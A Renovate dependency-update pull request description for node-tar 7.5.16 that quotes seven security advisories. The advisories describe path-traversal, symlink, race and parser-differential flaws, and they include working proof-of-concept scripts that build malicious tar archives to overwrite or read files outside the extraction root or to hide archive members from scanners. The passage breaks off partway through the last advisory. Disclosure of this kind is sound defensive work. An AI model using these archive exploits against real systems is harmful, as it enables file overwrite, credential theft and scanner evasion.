chore(deps): update dependency tar to v7.5.16 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
tar	7.4.3 → 7.5.16

---

node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization

CVE-2026-23745 / GHSA-8qq5-rm4j-mr97

More information

Details

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Impact

• Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
• Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

References

• https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97
• https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e
• https://nvd.nist.gov/vuln/detail/CVE-2026-23745
• https://github.com/advisories/GHSA-8qq5-rm4j-mr97

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS

CVE-2026-23950 / GHSA-r6q2-hw4h-h46w

More information

Details

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 

---

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

---

Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

---

Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

---

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

References

• https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w
• https://nvd.nist.gov/vuln/detail/CVE-2026-23950
• https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6
• https://github.com/advisories/GHSA-r6q2-hw4h-h46w

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal

CVE-2026-24842 / GHSA-34x7-hfp2-rc4v

More information

Details

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:

const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }

Hardlink creation in [HARDLINK]:

const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

• Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

• Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:

poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)

package.json

{ "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/)

DATABASE_PASSWORD=supersecret123

server.js (vulnerable file upload server)

const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));

create-malicious-tar.js (attacker creates exploit TAR)

const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');

Run

##### Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

##### Terminal 1: Start server
node server.js

##### Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @​malicious.tar http://localhost:3000/upload

##### READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read

##### Returns: DATABASE_PASSWORD=supersecret123

##### WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

##### Confirm secret.txt was modified
cat secret.txt

Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector	Target File	Result
SSH Access	~/.ssh/authorized_keys	Direct shell access to server
Cron Backdoor	/etc/cron.d/*, ~/.crontab	Persistent code execution
Shell RC Files	~/.bashrc, ~/.profile	Code execution on user login
Web App Backdoor	Application .js, .php, .py files	Immediate RCE via web requests
Systemd Services	/etc/systemd/system/*.service	Code execution on service restart
User Creation	/etc/passwd (if running as root)	Add new privileged user

Data Exfiltration & Corruption

1. Overwrite arbitrary files via hardlink escape + subsequent write operations
2. Read sensitive files by creating hardlinks that point outside extraction directory
3. Corrupt databases and application state
4. Steal credentials from config files, .env, secrets

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

References

• https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v
• https://nvd.nist.gov/vuln/detail/CVE-2026-24842
• https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46
• https://github.com/advisories/GHSA-34x7-hfp2-rc4v

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction

CVE-2026-26960 / GHSA-83g3-92jg-28cx

More information

Details

Summary

tar.extract() in Node tar allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.

This enables arbitrary file read and write as the extracting user (no root, no chmod, no preservePaths).

Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.

Details

The bypass chain uses two symlinks plus one hardlink:

1. a/b/c/up -> ../..
2. a/b/escape -> c/up/../..
3. exfil (hardlink) -> a/b/escape/<target-relative-to-parent-of-extract>

Why this works:

• Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.

  • See STRIPABSOLUTEPATH logic in:
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281

• Hardlink extraction resolves target as path.resolve(cwd, entry.linkpath) and then calls fs.link(target, destination).

  • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566
  • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567
  • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703

• Parent directory safety checks (mkdir + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.

  • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617
  • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619
  • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27
  • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101

As a result, exfil is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via exfil.

PoC

hardlink.js
Environment used for validation:

• Node: v25.4.0
• tar: 7.5.7
• OS: macOS Darwin 25.2.0
• Extract options: defaults (tar.extract({ file, cwd }))

Steps:

1. Prepare/locate a tar module. If require('tar') is not available locally, set TAR_MODULE to an absolute path to a tar package directory.

2. Run:

TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js

3. Expected vulnerable output (key lines):

same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE

Interpretation:

• same_inode=true: extracted exfil and external secret are the same file object.
• read_ok=true: reading exfil leaks external content.
• write_ok=true: writing exfil modifies external file.

Impact

Vulnerability type:

• Arbitrary file read/write via archive extraction path confusion and link resolution.

Who is impacted:

• Any application/service that extracts attacker-controlled tar archives with Node tar defaults.
• Impact scope is the privileges of the extracting process user.

Potential outcomes:

• Read sensitive files reachable by the process user.
• Overwrite writable files outside extraction root.
• Escalate impact depending on deployment context (keys, configs, scripts, app data).

Severity

• CVSS Score: 7.1 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

References

• https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx
• https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384
• https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f
• https://nvd.nist.gov/vuln/detail/CVE-2026-26960
• https://github.com/advisories/GHSA-83g3-92jg-28cx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

tar has Hardlink Path Traversal via Drive-Relative Linkpath

CVE-2026-29786 / GHSA-qffp-2rhf-9h96

More information

Details

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

• CLI tools unpacking untrusted tarballs into a working directory
• build/update pipelines consuming third-party archives
• services that import user-supplied tar files

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L

References

• https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96
• https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f
• https://nvd.nist.gov/vuln/detail/CVE-2026-29786
• https://github.com/advisories/GHSA-qffp-2rhf-9h96

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

node-tar Symlink Path Traversal via Drive-Relative Linkpath

CVE-2026-31802 / GHSA-9ppj-qmqm-q256

More information

Details

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

• CLI tools unpacking untrusted tarballs into a working directory
• build/update pipelines consuming third-party archives
• services that import user-supplied tar files

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N

References

• https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256
• https://nvd.nist.gov/vuln/detail/CVE-2026-31802
• https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad
• https://github.com/advisories/GHSA-9ppj-qmqm-q256

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)

CVE-2026-53655 / GHSA-vmf3-w455-68vh

More information

Details

Summary

tar (node-tar) applies a PAX extended header's size= record (and other PAX
overrides) to the next header entry of any type, including intermediary
metadata headers such as a GNU long-name (L) or long-link (K) entry. Per
POSIX pax, a PAX extended header (x) describes the next file entry, not the
intermediary extension headers that may sit between the x header and the file
it annotates. Because node-tar lets the PAX size override the byte length of
an intervening L/K/x header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs /
astral-tokio-tar).

The result is a tar parser interpretation differential (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs npm's own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.

This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent
defect and has no equivalent guard.

Impact

• CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as
  the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and
  GHSA-fp55-jw48-c537).
• A crafted archive can present one logical member list to a tool that lists or
  scans with node-tar and a different member list to GNU tar / libarchive /
  Python tarfile (and vice versa). This lets a malicious file be hidden from a
  scanner that uses a different parser than the eventual extractor, or hidden
  from node-tar-based inspection while still landing on disk via a system tar.
• No authentication is required; the only precondition is that a victim parses
  an attacker-supplied tar with node-tar. Tar archives are routinely fetched
  from untrusted sources (package registries, user uploads, CI artifacts,
  container layers).
• Severity: Medium. Impact is integrity-of-archive-interpretation, not direct
  RCE; it is a building block for supply-chain / scanner-evasion attacks rather
  than a standalone code-execution primitive.

Vulnerable code (file:line)

src/header.ts (compiled to dist/esm/header.js:49 and
dist/commonjs/header.js:85 in the published tar@7.5.15):

// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)

ex is the currently-accumulated PAX local extended header and gex the
PAX global header. The size override from ex/gex is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real file entry rather than an intermediary
extension header.

src/parse.ts, [CONSUMEHEADER] constructs the next header with the current
EX/GEX applied:

const header = new Header(chunk, position, this[EX], this[GEX])

and later branches on whether that header is a metadata entry. this[EX] is
cleared only in the non-meta (real file) branch:

if (entry.meta) {
  // L / K / x / g metadata entries: this[EX] is left intact here
  if (entry.size > this.maxMetaEntrySize) {
    entry.ignore = true
    this[STATE] = 'ignore'
    entry.resume()
  } else if (entry.size > 0) {
    this[META] = ''
    entry.on('data', c => (this[META] += c))
    this[STATE] = 'meta'
  }
} else {
  this[EX] = undefined   // EX cleared only once a real file entry is reached
}

When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the
L header is constructed with this[EX] still set, so its size/remain
becomes N instead of the L payload's true length. node-tar then consumes N
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX size only to the
following file entry, so they stay synchronized.

The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to not apply PAX size/overrides when the entry being decoded is itself an
extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX
global).

How input reaches the sink

tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route
every 512-byte header block through Header.decode(...) with the
currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied
archive — tar.list, tar.extract, or piping into the streaming Parser —
reaches the sink. No options need to be enabled; the default code path is
affected.

Proof of concept

Archive layout (all standard, GNU-tar-producible blocks):

block 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x  payload : the single PAX record  "...size=2048\n"
block 2 : L  header  (GNU long-name '././@​LongLink'), real size = 13
block 3 : L  payload : "longname.txt\0"      (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)

Generator (make_tar.py, pure stdlib, no external deps):

def hdr(name, size, typeflag):
    h = bytearray(512); name = name[:100]; h[0:len(name)] = name
    h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
    h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
    h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
    h[148:156] = b' ' * 8
    cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
    return bytes(h)

def pad(d):
    return d + b'\0' * ((512 - len(d) % 512) % 512)

def pax_record(key, val):              # length-prefixed PAX record "LEN key=val\n"
    body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
    while True:
        s = str(n).encode() + body
        if len(s) == n: break
        n = len(s)
    return s

pax = pax_record('size', 2048)         # malicious: claim size=2048 for the "next" entry
out  = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@​LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)

A negative-control archive is identical except the PAX record is
pax_record('comment', 'x') (no size=), written to pax-control.tar.

End-to-end reproduction (against pinned version tar@7.5.15, latest release)

Install the published package into a clean project and parse both archives:

$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);

e2e.mjs:

import * as tar from 'tar'
async function listEntries(f){
  const got=[], warns=[]
  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
                   onwarn:(code,_msg)=>warns.push(code) })
  return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))

Verbatim output:

=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===

[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
  tar.list() entries : []
